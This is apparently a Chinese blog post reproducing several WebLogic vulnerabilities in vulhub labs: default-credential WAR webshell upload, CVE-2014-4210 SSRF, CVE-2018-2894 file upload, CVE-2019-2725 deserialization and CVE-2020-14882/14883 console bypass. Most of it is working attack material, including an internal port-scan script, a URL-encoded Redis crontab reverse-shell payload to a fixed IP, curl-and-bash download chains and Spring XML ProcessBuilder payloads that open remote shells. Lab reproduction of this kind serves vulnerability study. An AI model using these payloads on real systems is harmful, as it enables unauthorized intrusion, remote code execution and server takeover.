weblogic历史漏洞
weblogic历史漏洞
是什么?
weblogic是一个web服务器应用(中间件),和jboss一样都是javaee中间件,只能识别java语言,绝大部分漏洞都是T3反序列化漏洞
常见的中间件还有:Apache,nginx,IIS,tomact,weblogic,jboss等
默认端口:7001
Web界面:Error 404 -- Not Found
控制后台:http://ip:7001/console
漏洞复现
1.弱口令+上传war包
环境:/vulhub/weblogic/weak_password
# 创建
docker-compose up -d
- 访问:http://your-ip:7001可以发现weblogic版本为10.4.5

- 访问 http://your-ip:7001/console 用户名:weblogic/密码:weblogic
# weblogic默认弱口令
system/password
system/Passw0rd
weblogic/weblogic
admin/security
joe/password
mary/password
system/security
wlcsystem/wlcsystem
wlpisystem/wlpisystem
- 选择部署 --> 安装 --> 上载文件 --> 上传war包

# 打包成war包
jar -cvf cmd.war cmd.jsp
- 最后访问http://your-ip:7001/cmd/cmd.jsp即可,蚁剑连接。

2.CVE-2014-4210(ssrf)
- 访问/uddiexplorer/SearchPublicRegistries.jsp这个路径,存在未授权

- 在Search by business name中随便输入,bp抓包。

- 修改operator参数的值为127.0.0.1:7001,发现返回404,因为目标是Weblogic服务,让Weblogic向自己的7001端口发出请求,相当于访问your-ip:7001这个页面,页面本身返回404 Not found,说明这里存在SSRF

- docker查看两个容器的网段
docker network inspect ssrf_default | jq -r '.[].Containers | to_entries[] | select(.value.Name == "ssrf-weblogic-1") | .value.IPv4Address'
docker network inspect ssrf_default | jq -r '.[].Containers | to_entries[] | select(.value.Name == "ssrf-redis-1") | .value.IPv4Address'

- 可以利用ssrf探测内网,改为127.22.0.2:6379会返回did not have a valid SOAP(说明是非http协议),说明这个ip开放了redis服务

- 也可以利用脚本探测
# 探测脚本
import contextlib
import itertools
import requests
url = "http://your-ip:7001/uddiexplorer/SearchPublicRegistries.jsp"
ports = [6378,6379,22,25,80,8080,8888,8000,7001,7002]
for i, port in itertools.product(range(1, 255), ports):
params = dict(
rdoSearch="name",
txtSearchname="sdf",
selfor="Business+location",
btnSubmit="Search",
operator=f"http://172.22.0.{i}:{port}",
)
with contextlib.suppress(Exception):
r = requests.get(url, params=params, timeout = 3)
# print(r.text)
if 'could not connect over HTTP to server' not in r.text and 'No route to host' not in r.text:
print(f'[*] http://172.22.0.{i}:{port}')

- 通过反弹shell攻击redis服务
# 目标:172.22.0.2:6379
set 1 "\n\n\n\n0-59 0-23 1-31 1-12 0-6 root bash -c 'bash -i >& /dev/tcp/124.71.45.28/1234 0
>&1'\n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save
- 对以上进行URL编码,替换到参数中
http%3A%2F%2F172%2E28%2E0%2E2%3A6379%2Ftest%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn0%2D59%2
00%2D23%201%2D31%201%2D12%200%2D6%20root%20bash%20%2Dc%20%27bash%20%2Di%20%3E%26%20%2Fdev%2F
tcp%2F124%2E71%2E45%2E28%2F1234%200%3E%261%27%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%
2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa
- 看到成功执行

- 攻击机监听1234端口即可反弹shell!
CVE-2018-2894(任意文件上传)
在Weblogic Web Service Test Page中存在一处任意文件上传漏洞,利用该漏洞,可以上传任意jsp文件,进而获取服务器权限。
Web Service Test Page 在"生产模式"下默认不开启,所以该漏洞有一定限制。
影响范围:
10.3.6.0
12.1.3.0
12.2.1.2
12.2.1.3
如果能访问/ws_utc/config.do则存在漏洞

手动利用:
- 访问http://your-ip:7001/ws_utc/config.do,设置Work Home Dir为:
# 将目录设置为`ws_utc`应用的静态文件css目录,访问这个目录是无需权限的
/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css

- 点击安全 -- 添加 -- 在Keystore文件处,上传Webshell(jsp木马)

- 访问webshell
http://your-ip:7001/ws_utc/css/config/keystore/[时间戳]_[文件名]

- 蚁剑连接成功!

可以看见我们上传的木马,最终保存在
/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css/config/keystore/

自动化脚本:
https://github.com/LandGrey/CVE-2018-2894
CVE-2019-2725
- 利用java反序列化进行攻击,可以实现远程代码执行(vulhub靶场对应的是CVE-2017-10271)
- 影响版本:
Oracle WebLogic Server 10.*
Oracle WebLogic Server 12.1.3
- 判断:通过访问路径/_async/AsyncResponseService 判断对应组件是否开启

- 脚本利用:
# 下载,里面有一个weblogic-2019-2725.py脚本
git clone https://github.com/TopScrew/CVE-2019-2725
# 使用脚本--命令执行
python3 weblogic-2019-2725.py 10.3.6 http://your-ip:7001
whoami
# 使用脚本--文件上传
python3 weblogic-2019-2725.py 10.3.6 http://your-ip:7001
- 命令执行

- 文件上传(如果weblogic部署在linux上,改动红框的命令即可)

CVE-2020-14882
CVE-2020-14882:允许未授权的用户绕过管理控制台的权限验证访问后台;
CVE-2020-14883:允许后台任意用户通过HTTP协议执行任意命令
使用这两个漏洞组成的利用链,可通过一个GET请求在远程Weblogic服务器上以未授权的任意用户身份执行命令
判断漏洞是否存在(CVE-2020-14882),访问如下URL,可未授权访问到管理后台页面,但是是低权限用户
http://your-ip:7001/console/css/%252e%252e%252fconsole.portal

进一步利用方式有两种:
一.通过com.tangosol.coherence.mvel2.sh.ShellSession
局限:
这个利用方法只能在Weblogic 12.2.1以上版本利用,因为10.3.6并不存在com.tangosol.coherence.mvel2.sh.ShellSession类。
验证是否命令执行:在tmp目录下创建success文件夹

http://your-ip:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=tru
e&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRunt
ime().exec('touch%20/tmp/success');")
- 看到成功创建

- 反弹shell
- 创建shell.sh放在攻击机上,并用python开启http服务
# 创建一个文件夹保存shell.sh
mkdir poc
# 进入文件夹
cd poc
# 将反弹shell语句写入shell.sh
echo "/bin/bash -i >& /dev/tcp/攻击机ip/6666 0>&1" > shell.sh
# python3开启http服务,这样靶机就能下载攻击机的文件
python3 -m http.server

- 回到靶机执行以下命令(意思是使靶机下载shell.sh并保存到本地的/tmp目录下)
http://your-ip:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=tru
e&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRunt
ime().exec('curl%20http://攻击机ip:8000/shell.sh%20-o%20/tmp/shell.sh');")

- 可以看到靶机/tmp目录下出现了shell.sh

- 执行以下命令,目的是运行shell.sh脚本文件,并且监听攻击机的6666端口
http://your-ip:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=tru
e&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRunt
ime().exec('bash%20/tmp/shell.sh');")

- 可以看到shell反弹成功!

二.通过com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext
- 在攻击机poc文件夹下构造shell.xml,作用还是让靶机下载刚刚的shell.sh到/tmp目录下,只不过这次命令换成了文件
<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>bash</value>
<value>-c</value>
<value><![CDATA[curl 攻击机ip:8000/shell.sh -o /tmp/shell.sh]]></value>
</list>
</constructor-arg>
</bean>
</beans>
- 在攻击机poc文件夹下构造bash.xml,作用是使靶机执行shell脚本,shell脚本里是反弹shell命令
<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>bash</value>
<value>-c</value>
<value><![CDATA[bash /tmp/shell.sh]]></value>
</list>
</constructor-arg>
</bean>
</beans>
- shell.sh shell.xml bash.xml都应该在同一目录下,再开启http服务
python3 -m http.server

- 靶机执行以下命令:用来下载shell.xml文件,这时shell.xml就会执行curl命令来下载shell.sh脚本,靶机的/tmp就会存在shell.sh
http://your-ip:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://攻击机ip:8000/shell.xml")

- 靶机执行以下命令:用来执行shell.sh脚本反弹shell(在这一步前攻击机监听6666端口)
http://your-ip:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://攻击机ip:8000/bash.xml")

- 成功!

weblogic历史漏洞的更多相关文章
- Weblogic反序列化漏洞补丁更新解决方案
Weblogic反序列化漏洞的解决方案基于网上给的方案有两种: 第一种方案如下 使用SerialKiller替换进行序列化操作的ObjectInputStream类; 在不影响业务的情况下,临时删除掉 ...
- weblogic系列漏洞整理 -- 5. weblogic SSRF 漏洞 UDDI Explorer对外开放 (CVE-2014-4210)
目录 五. weblogic SSRF 漏洞 UDDI Explorer对外开放 (CVE-2014-4210) 1. 利用过程 2. 修复建议 一.weblogic安装 http://www.cnb ...
- weblogic反序列化漏洞CVE-2018-2628-批量检测脚本
#coding=utf-8 import socket import time import re,os,sys,codecs type = 'utf-8' reload(sys) sys.setde ...
- weblogic CVE-2018-2628漏洞利用工具
weblogic CVE-2018-2628漏洞利用 漏洞环境: Windows2018R2 weblogic10.3.6 漏洞利用过程: 搭建好存在CVE-2018-2628漏洞的weblogic平 ...
- 利用DNSlog回显Weblogic(CVE-2017-10271) 漏洞执行命令结果
作者:Armyzer0 Weblogic(CVE-2017-10271) 漏洞出来以后又是一波血雨腥风,正好我昨天测试的时候发现了一个存在这个漏洞的weblogic,但是他不回显咋办呢!让他返回执行结 ...
- CVE-2017-3248——WebLogic反序列化漏洞利用工具
著名的web中间件WebLogic被曝出之前的反序列化安全漏洞补丁存在绕过安全风险,用户更新补丁后,仍然存在被绕过成功执行远程命令攻击的情况,安全风险高,Oracle官方及时发布了最新补丁,修复了该漏 ...
- weblogic 安全漏洞问题解决
1 weblogic控制台地址暴露 ² 整改方法: 禁用weblogic控制台.在weblogic域(sguap-domain和base-domain)的config下的config.xml中 &l ...
- SSRF——weblogic vulhub 漏洞复现及攻击内网redis(一)(附批量检测脚本)
0X01 概述 SSRF(Server-Side Request Forgery, 服务端请求伪造)利用漏洞可以发起网络请求来攻击内网服务.利用SSRF能实现以下效果:1) 扫描内网(主 ...
- thinkphp历史漏洞
https://github.com/pochubs/pochubs/blob/master/ThinkPHP.md tp 历史漏洞 路由控制類RCE/think/App.php if (!preg_ ...
- Weblogic CVE-2020-2551漏洞复现&CS实战利用
Weblogic CVE-2020-2551漏洞复现 Weblogic IIOP 反序列化 漏洞原理 https://www.anquanke.com/post/id/199227#h3-7 http ...
随机推荐
- C# 菜单项添加复选标记
在网上查找都是说直接用菜单项的Checked属性, toolMenuItem.Checked=!toolMenuItem.Checked; 但是我用了也切换不过来. 有点晕菜了,我用的是vs2017. ...
- 使用 SpanMetrics Connector 将 OpenTelemetry 跟踪转换为指标
原文:https://last9.io/blog/convert-opentelemetry-traces-to-metrics-using-spanconnector/ 如果您已经实施了跟踪但缺乏强 ...
- manim边学边做--曲线类
manim中曲线,除了前面介绍的圆弧类曲线,也可以绘制任意的曲线. manim中提供的CubicBezier模块,可以利用三次贝塞尔曲线的方式绘制任意曲线. 关于贝塞尔曲线的介绍,可以参考:https ...
- 《放弃繁琐的if-else》开启Assert断言的新时代
一.场景再现 我们平时在service操作数据库,难免会出现这种情况: if(null == result){ }else{ } 这样的代码会吞噬掉你有限的代码空间,虽然通俗易懂,但一旦爆炸式的袭来, ...
- OpenAI GPT-4发布总结
OpenAI官方发布了GPT-4模型,GPT-4是一个大型多模态模型,支持输入文本+图片,输出还是文字形式,GPT-4比任何 GPT-3.5 模型都更强大,能够执行更复杂的任务,并针对聊天进行了优化. ...
- Go日志管理库zap
一.zap介绍 在许多Go语言项目中,我们需要一个好的日志记录器能够提供下面这些功能: 1.能够将事件记录到文件中,而不是应用程序控制台. 2.日志切割-能够根据文件大小.时间或间隔等来切割日志文件. ...
- RxJS 系列 – Observable & Creation Operators
前言 RxJS 最大篇幅就是一堆的 operators, 但是那些概念并不多, 只要常用就能熟能生巧了. Observable 和 Subject 反而需要我们了解清楚. 所以这篇我们先来了解这 2 ...
- CSS & JS Effect – Show More
效果 show more 是很常被使用的效果, 因为空间总是不够的丫. 比起 scroll, show more 的体验通常会好一些, 尤其在手机, 它有更好的引导. 实现思路 1. 卡片需要一个 ...
- HTML & CSS – Responsive Image 响应式图片 (完整版)
前言 之前就有写过关于 Retina 和 Responsive Image 响应式图片 (responsive image) Retina 显示屏 但写的太烂了, 所以有了后来的 屏幕, 打印, 分辨 ...
- 反DDD模式之关系型数据库
本文书接上回<图穷匕见-所有反DDD模式都是垃圾>,关注公众号(老肖想当外语大佬)获取信息: 最新文章更新: DDD框架源码(.NET.Java双平台): 加群畅聊,建模分析.技术实现交流 ...